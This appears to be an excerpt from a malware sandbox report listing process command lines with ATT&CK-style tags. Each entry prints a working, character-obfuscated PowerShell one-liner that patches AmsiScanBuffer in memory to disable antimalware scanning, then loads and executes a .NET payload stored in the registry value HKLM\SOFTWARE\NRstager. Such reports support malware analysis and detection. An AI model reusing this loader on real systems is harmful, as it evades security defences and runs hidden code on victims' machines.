C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command ""function Local:EECHXiVafEVs{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$kQREFGTuYoionD,[Parameter(Position=1)][Type]$yULphWfyyU)$ihBoHmtjAix=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+'f'+'le'+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+'e'+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+'dul'+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+'l'+''+'e'+''+[Char](103)+''+'a'+''+'t'+''+'e'+'Typ'+[Char](101)+'',''+'C'+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+'P'+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+','+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+','+[Char](65)+'n'+[Char](115)+''+[Char](105)+''+[Char](67)+'l'+[Char](97)+'s'+'s'+','+'A'+''+[Char](117)+'to'+[Char](67)+''+[Char](108)+'a'+'s'+''+[Char](115)+'',[MulticastDelegate]);$ihBoHmtjAix.DefineConstructor('R'+[Char](84)+''+'S'+'pe'+[Char](99)+''+[Char](105)+''+'a'+''+'l'+''+[Char](78)+''+[Char](97)+'m'+[Char](101)+',Hi'+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+'S'+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](80)+''+'u'+''+'b'+''+'l'+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$kQREFGTuYoionD).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+''+[Char](116)+'i'+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+'a'+[Char](103)+''+'e'+''+[Char](100)+'');$ihBoHmtjAix.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'','P'+'u'+'b'+[Char](108)+''+'i'+'c'+[Char](44)+''+[Char](72)+''+'i'+'de'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+',Ne'+'w'+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+',V'+[Char](105)+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+'',$yULphWfyyU,$kQREFGTuYoionD).SetImplementationFlags('R'+[Char](117)+''+'n'+''+'t'+''+[Char](105)+''+[Char](109)+'e,'+[Char](77)+''+[Char](97)+''+'n'+''+[Char](97)+'g'+[Char](101)+''+'d'+'');Write-Output $ihBoHmtjAix.CreateType();}$pnkREGzJTALtj=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'ys'+[Char](116)+'em'+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')}).GetType('M'+'i'+''+[Char](99)+'r'+'o'+''+[Char](115)+'oft'+[Char](46)+'W'+[Char](105)+''+[Char](110)+'32'+[Char](46)+''+'U'+''+'n'+'s'+[Char](97)+''+'f'+''+'e'+''+'N'+''+[Char](97)+'t'+[Char](105)+''+[Char](118)+''+[Char](101)+''+[Char](77)+'e'+'t'+''+'h'+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$FvlNeddhayOxEX=$pnkREGzJTALtj.GetMethod('Get'+[Char](80)+'ro'+[Char](99)+''+[Char](65)+''+[Char](100)+'dr'+[Char](101)+'ss',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+','+[Char](83)+''+[Char](116)+'a'+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$eAPJiZPVQeEsFhhupkR=EECHXiVafEVs @([String])([IntPtr]);$KfImEXPKbHfzkAXTgCaoSG=EECHXiVafEVs @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$AXqPadOyvjX=$pnkREGzJTALtj.GetMethod(''+'G'+''+'e'+''+[Char](116)+''+'M'+'od'+[Char](117)+''+'l'+''+'e'+''+[Char](72)+'a'+[Char](110)+'d'+'l'+'e').Invoke($Null,@([Object](''+[Char](107)+'er'+[Char](110)+''+[Char](101)+'l'+[Char](51)+''+'2'+''+[Char](46)+''+'d'+'l'+[Char](108)+'')));$LCAfyMGNvecrGX=$FvlNeddhayOxEX.Invoke($Null,@([Object]$AXqPadOyvjX,[Object](''+[Char](76)+''+'o'+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+'a'+''+'r'+''+'y'+''+'A'+'')));$TfpzNBTpcgtOlNivG=$FvlNeddhayOxEX.Invoke($Null,@([Object]$AXqPadOyvjX,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+'l'+'P'+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+'c'+[Char](116)+'')));$RAhONBX=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LCAfyMGNvecrGX,$eAPJiZPVQeEsFhhupkR).Invoke('a'+[Char](109)+''+'s'+''+[Char](105)+''+'.'+''+'d'+''+[Char](108)+'l');$ZMXlFqHXpVComoKAf=$FvlNeddhayOxEX.Invoke($Null,@([Object]$RAhONBX,[Object]('A'+'m'+''+'s'+''+[Char](105)+''+'S'+''+'c'+'a'+[Char](110)+''+[Char](66)+''+'u'+''+[Char](102)+''+[Char](102)+''+'e'+''+[Char](114)+'')));$ruGzLbQgQS=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TfpzNBTpcgtOlNivG,$KfImEXPKbHfzkAXTgCaoSG).Invoke($ZMXlFqHXpVComoKAf,[uint32]8,4,[ref]$ruGzLbQgQS);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](133+4),[Byte](210+9),[Byte](238-54),[Byte](244-157),[Byte](32-32),[Byte](250-243),[Byte](34+94),[Byte](175-44),[Byte](209-17),[Byte](26-26),[Byte](184+11),[Byte](116+21),[Byte](56+136)),0,$ZMXlFqHXpVComoKAf,218-205);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TfpzNBTpcgtOlNivG,$KfImEXPKbHfzkAXTgCaoSG).Invoke($ZMXlFqHXpVComoKAf,[uint32]8,0x20,[ref]$ruGzLbQgQS);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+'FT'+'W'+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue('NR'+[Char](115)+''+'t'+''+'a'+''+[Char](103)+'er')).EntryPoint.Invoke($Null,$Null)""2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -Command ""function Local:kWDiQgCxvPCf{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$fhBhZRDtfqZlsr,[Parameter(Position=1)][Type]$WWmGMAhqrO)$VfxXLbnSVgu=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+'l'+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+'d'+''+[Char](68)+'el'+'e'+'ga'+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+'o'+[Char](114)+''+'y'+''+'M'+''+[Char](111)+''+[Char](100)+''+'u'+''+'l'+''+'e'+'',$False).DefineType(''+[Char](77)+'yD'+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+[Char](101)+''+'T'+''+'y'+''+[Char](112)+''+[Char](101)+'',''+'C'+'l'+'a'+''+[Char](115)+''+'s'+','+'P'+''+[Char](117)+'b'+[Char](108)+''+'i'+'c,'+'S'+''+[Char](101)+'al'+[Char](101)+'d'+','+''+'A'+''+'n'+''+'s'+''+[Char](105)+''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+'A'+[Char](117)+'t'+[Char](111)+''+'C'+'l'+[Char](97)+'s'+'s'+'',[MulticastDelegate]);$VfxXLbnSVgu.DefineConstructor('R'+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+'i'+''+'a'+''+'l'+'N'+[Char](97)+'m'+[Char](101)+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+[Char](121)+''+[Char](83)+''+'i'+'g'+[Char](44)+''+'P'+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$fhBhZRDtfqZlsr).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+'a'+''+'g'+'e'+[Char](100)+'');$VfxXLbnSVgu.DefineMethod(''+'I'+'n'+[Char](118)+''+[Char](111)+'k'+[Char](101)+'',''+'P'+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+','+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+'S'+''+'i'+'g'+[Char](44)+''+[Char](78)+'e'+'w'+'S'+'l'+'o'+'t'+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+'',$WWmGMAhqrO,$fhBhZRDtfqZlsr).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+'i'+'m'+'e'+''+[Char](44)+'Mana'+[Char](103)+'e'+[Char](100)+'');Write-Output $VfxXLbnSVgu.CreateType();}$gLZBFhiikXIKm=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+[Char](116)+''+'e'+'m'+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+'o'+[Char](115)+''+[Char](111)+'f'+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+'n'+'3'+''+[Char](50)+''+[Char](46)+''+[Char](85)+'n'+'s'+''+[Char](97)+''+'f'+'eN'+[Char](97)+''+[Char](116)+''+[Char](105)+'ve'+[Char](77)+''+[Char](101)+''+'t'+'h'+'o'+''+[Char](100)+''+[Char](115)+'');$qZdWoGwCbARCar=$gLZBFhiikXIKm.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+[Char](80)+''+'r'+'ocA'+[Char](100)+''+'d'+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('Pu'+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+',St'+[Char](97)+'ti'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$wvixeoyijMdvRwBummi=kWDiQgCxvPCf @([String])([IntPtr]);$VjMKwNFKFIawiezSAMjUcM=kWDiQgCxvPCf @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ykxqoqEJOGt=$gLZBFhiikXIKm.GetMethod('Get'+'M'+'od'+'u'+'l'+'e'+'H'+[Char](97)+''+'n'+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object]('k'+'e'+''+[Char](114)+''+'n'+''+[Char](101)+''+'l'+''+'3'+''+[Char](50)+'.'+[Char](100)+'l'+'l'+'')));$dmvkAPbXVcgWPP=$qZdWoGwCbARCar.Invoke($Null,@([Object]$ykxqoqEJOGt,[Object](''+'L'+''+[Char](111)+''+'a'+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+'b'+''+[Char](114)+''+[Char](97)+'r'+[Char](121)+'A')));$kXJGYkdAkALHvKbab=$qZdWoGwCbARCar.Invoke($Null,@([Object]$ykxqoqEJOGt,[Object](''+[Char](86)+''+'i'+'r'+[Char](116)+''+[Char](117)+'a'+'l'+'P'+[Char](114)+'o'+[Char](116)+''+'e'+'c'+'t'+'')));$NMFbbCb=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dmvkAPbXVcgWPP,$wvixeoyijMdvRwBummi).Invoke('a'+[Char](109)+'s'+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'');$ADxSfkHxkXeIeuhgS=$qZdWoGwCbARCar.Invoke($Null,@([Object]$NMFbbCb,[Object](''+[Char](65)+''+'m'+'s'+'i'+''+[Char](83)+''+'c'+'a'+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+'f'+[Char](101)+''+'r'+'')));$RrvgHpFuKn=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kXJGYkdAkALHvKbab,$VjMKwNFKFIawiezSAMjUcM).Invoke($ADxSfkHxkXeIeuhgS,[uint32]8,4,[ref]$RrvgHpFuKn);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](118+13),[Byte](194+41),[Byte](247-247),[Byte](100+84),[Byte](91-4),[Byte](181-181),[Byte](231-224),[Byte](164-36),[Byte](154-23),[Byte](28+207),[Byte](34-34),[Byte](135+60),[Byte](109+22),[Byte](242-50),[Byte](212-212)),0,$ADxSfkHxkXeIeuhgS,247-232);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kXJGYkdAkALHvKbab,$VjMKwNFKFIawiezSAMjUcM).Invoke($ADxSfkHxkXeIeuhgS,[uint32]8,0x20,[ref]$RrvgHpFuKn);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+[Char](78)+''+'R'+'s'+[Char](116)+''+[Char](97)+'g'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""1⤵
- Executes a command shell one-liner
- System Time Discovery
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command ""function Local:kWDiQgCxvPCf{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$fhBhZRDtfqZlsr,[Parameter(Position=1)][Type]$WWmGMAhqrO)$VfxXLbnSVgu=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+'l'+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+'d'+''+[Char](68)+'el'+'e'+'ga'+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+'o'+[Char](114)+''+'y'+''+'M'+''+[Char](111)+''+[Char](100)+''+'u'+''+'l'+''+'e'+'',$False).DefineType(''+[Char](77)+'yD'+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+[Char](101)+''+'T'+''+'y'+''+[Char](112)+''+[Char](101)+'',''+'C'+'l'+'a'+''+[Char](115)+''+'s'+','+'P'+''+[Char](117)+'b'+[Char](108)+''+'i'+'c,'+'S'+''+[Char](101)+'al'+[Char](101)+'d'+','+''+'A'+''+'n'+''+'s'+''+[Char](105)+''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+'A'+[Char](117)+'t'+[Char](111)+''+'C'+'l'+[Char](97)+'s'+'s'+'',[MulticastDelegate]);$VfxXLbnSVgu.DefineConstructor('R'+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+'i'+''+'a'+''+'l'+'N'+[Char](97)+'m'+[Char](101)+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+[Char](121)+''+[Char](83)+''+'i'+'g'+[Char](44)+''+'P'+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$fhBhZRDtfqZlsr).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+'a'+''+'g'+'e'+[Char](100)+'');$VfxXLbnSVgu.DefineMethod(''+'I'+'n'+[Char](118)+''+[Char](111)+'k'+[Char](101)+'',''+'P'+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+','+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+'S'+''+'i'+'g'+[Char](44)+''+[Char](78)+'e'+'w'+'S'+'l'+'o'+'t'+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+'',$WWmGMAhqrO,$fhBhZRDtfqZlsr).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+'i'+'m'+'e'+''+[Char](44)+'Mana'+[Char](103)+'e'+[Char](100)+'');Write-Output $VfxXLbnSVgu.CreateType();}$gLZBFhiikXIKm=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+[Char](116)+''+'e'+'m'+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+'o'+[Char](115)+''+[Char](111)+'f'+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+'n'+'3'+''+[Char](50)+''+[Char](46)+''+[Char](85)+'n'+'s'+''+[Char](97)+''+'f'+'eN'+[Char](97)+''+[Char](116)+''+[Char](105)+'ve'+[Char](77)+''+[Char](101)+''+'t'+'h'+'o'+''+[Char](100)+''+[Char](115)+'');$qZdWoGwCbARCar=$gLZBFhiikXIKm.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+[Char](80)+''+'r'+'ocA'+[Char](100)+''+'d'+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('Pu'+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+',St'+[Char](97)+'ti'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$wvixeoyijMdvRwBummi=kWDiQgCxvPCf @([String])([IntPtr]);$VjMKwNFKFIawiezSAMjUcM=kWDiQgCxvPCf @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ykxqoqEJOGt=$gLZBFhiikXIKm.GetMethod('Get'+'M'+'od'+'u'+'l'+'e'+'H'+[Char](97)+''+'n'+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object]('k'+'e'+''+[Char](114)+''+'n'+''+[Char](101)+''+'l'+''+'3'+''+[Char](50)+'.'+[Char](100)+'l'+'l'+'')));$dmvkAPbXVcgWPP=$qZdWoGwCbARCar.Invoke($Null,@([Object]$ykxqoqEJOGt,[Object](''+'L'+''+[Char](111)+''+'a'+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+'b'+''+[Char](114)+''+[Char](97)+'r'+[Char](121)+'A')));$kXJGYkdAkALHvKbab=$qZdWoGwCbARCar.Invoke($Null,@([Object]$ykxqoqEJOGt,[Object](''+[Char](86)+''+'i'+'r'+[Char](116)+''+[Char](117)+'a'+'l'+'P'+[Char](114)+'o'+[Char](116)+''+'e'+'c'+'t'+'')));$NMFbbCb=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dmvkAPbXVcgWPP,$wvixeoyijMdvRwBummi).Invoke('a'+[Char](109)+'s'+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'');$ADxSfkHxkXeIeuhgS=$qZdWoGwCbARCar.Invoke($Null,@([Object]$NMFbbCb,[Object](''+[Char](65)+''+'m'+'s'+'i'+''+[Char](83)+''+'c'+'a'+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+'f'+[Char](101)+''+'r'+'')));$RrvgHpFuKn=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kXJGYkdAkALHvKbab,$VjMKwNFKFIawiezSAMjUcM).Invoke($ADxSfkHxkXeIeuhgS,[uint32]8,4,[ref]$RrvgHpFuKn);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](118+13),[Byte](194+41),[Byte](247-247),[Byte](100+84),[Byte](91-4),[Byte](181-181),[Byte](231-224),[Byte](164-36),[Byte](154-23),[Byte](28+207),[Byte](34-34),[Byte](135+60),[Byte](109+22),[Byte](242-50),[Byte](212-212)),0,$ADxSfkHxkXeIeuhgS,247-232);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kXJGYkdAkALHvKbab,$VjMKwNFKFIawiezSAMjUcM).Invoke($ADxSfkHxkXeIeuhgS,[uint32]8,0x20,[ref]$RrvgHpFuKn);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+[Char](78)+''+'R'+'s'+[Char](116)+''+[Char](97)+'g'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -Command ""function Local:bBFmALAcKbLM{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$XQpYeQbPROysOQ,[Parameter(Position=1)][Type]$WNmBqMqzqf)$VtIXtTorfqB=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'e'+'d'+''+'D'+'el'+'e'+'g'+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+'M'+''+'e'+''+[Char](109)+''+'o'+''+'r'+''+'y'+''+[Char](77)+''+'o'+'du'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+'g'+''+[Char](97)+''+'t'+'e'+[Char](84)+'yp'+[Char](101)+'',''+'C'+''+[Char](108)+'a'+[Char](115)+'s,'+'P'+''+'u'+''+'b'+''+'l'+''+[Char](105)+''+'c'+','+[Char](83)+'e'+'a'+''+[Char](108)+''+[Char](101)+'d'+[Char](44)+'An'+[Char](115)+'i'+'C'+''+[Char](108)+'as'+'s'+''+[Char](44)+''+[Char](65)+'ut'+[Char](111)+''+'C'+''+[Char](108)+'as'+[Char](115)+'',[MulticastDelegate]);$VtIXtTorfqB.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+'p'+'e'+'ci'+[Char](97)+'l'+[Char](78)+'a'+[Char](109)+''+[Char](101)+',H'+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+'P'+''+[Char](117)+'b'+[Char](108)+''+'i'+'c',[Reflection.CallingConventions]::Standard,$XQpYeQbPROysOQ).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+','+'M'+'a'+'n'+[Char](97)+''+'g'+''+[Char](101)+''+'d'+'');$VtIXtTorfqB.DefineMethod('I'+[Char](110)+''+[Char](118)+''+[Char](111)+'k'+[Char](101)+'','P'+'u'+'b'+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+'y'+''+'S'+'i'+[Char](103)+','+[Char](78)+'e'+[Char](119)+''+[Char](83)+''+[Char](108)+''+'o'+''+'t'+',V'+[Char](105)+'r'+[Char](116)+''+[Char](117)+'a'+[Char](108)+'',$WNmBqMqzqf,$XQpYeQbPROysOQ).SetImplementationFlags('R'+[Char](117)+''+'n'+''+[Char](116)+'ime,'+'M'+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');Write-Output $VtIXtTorfqB.CreateType();}$GYVPeyIDJWNkh=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+'s'+[Char](116)+''+[Char](101)+'m'+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')}).GetType('Mic'+[Char](114)+''+'o'+''+[Char](115)+''+'o'+''+'f'+'t'+[Char](46)+'W'+[Char](105)+''+'n'+''+'3'+''+'2'+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+'e'+'Native'+[Char](77)+''+[Char](101)+''+[Char](116)+''+'h'+''+[Char](111)+''+[Char](100)+''+'s'+'');$rfZFwMSxbHbHgx=$GYVPeyIDJWNkh.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](80)+'r'+[Char](111)+'c'+'A'+''+[Char](100)+''+'d'+'res'+'s'+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+''+','+''+[Char](83)+''+'t'+''+[Char](97)+''+'t'+'ic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$CtEOUloObmlkBQGozqG=bBFmALAcKbLM @([String])([IntPtr]);$gFJSuYhrQRWuaUZWwVLOuO=bBFmALAcKbLM @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$CEZPkLLhqMA=$GYVPeyIDJWNkh.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'M'+'o'+'d'+[Char](117)+''+'l'+'e'+[Char](72)+''+[Char](97)+''+'n'+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object]('k'+[Char](101)+''+'r'+'ne'+[Char](108)+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$UQGXJfxEmgNCdh=$rfZFwMSxbHbHgx.Invoke($Null,@([Object]$CEZPkLLhqMA,[Object](''+[Char](76)+'oa'+'d'+''+'L'+'ibra'+'r'+''+[Char](121)+''+[Char](65)+'')));$aczUkliICFioAxQkf=$rfZFwMSxbHbHgx.Invoke($Null,@([Object]$CEZPkLLhqMA,[Object](''+'V'+''+[Char](105)+'rtu'+[Char](97)+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+[Char](116)+''+'e'+'c'+[Char](116)+'')));$VKBDNBK=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UQGXJfxEmgNCdh,$CtEOUloObmlkBQGozqG).Invoke(''+'a'+'m'+[Char](115)+''+[Char](105)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$bOZtDIVXLkolfQccU=$rfZFwMSxbHbHgx.Invoke($Null,@([Object]$VKBDNBK,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+'i'+''+[Char](83)+'c'+'a'+'n'+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+''+[Char](101)+''+[Char](114)+'')));$qqNgXQcjPj=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($aczUkliICFioAxQkf,$gFJSuYhrQRWuaUZWwVLOuO).Invoke($bOZtDIVXLkolfQccU,[uint32]8,4,[ref]$qqNgXQcjPj);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](242-105),[Byte](253-34),[Byte](247-63),[Byte](104-17),[Byte](205-205),[Byte](63-56),[Byte](48+80),[Byte](141-4),[Byte](204-12),[Byte](189+6),[Byte](189-52),[Byte](30+180)),0,$bOZtDIVXLkolfQccU,35-23);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($aczUkliICFioAxQkf,$gFJSuYhrQRWuaUZWwVLOuO).Invoke($bOZtDIVXLkolfQccU,[uint32]8,0x20,[ref]$qqNgXQcjPj);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+'F'+[Char](84)+'W'+'A'+''+'R'+''+'E'+'').GetValue('NR'+[Char](115)+'tage'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""1⤵
- Executes a command shell one-liner
- System Time Discovery
-
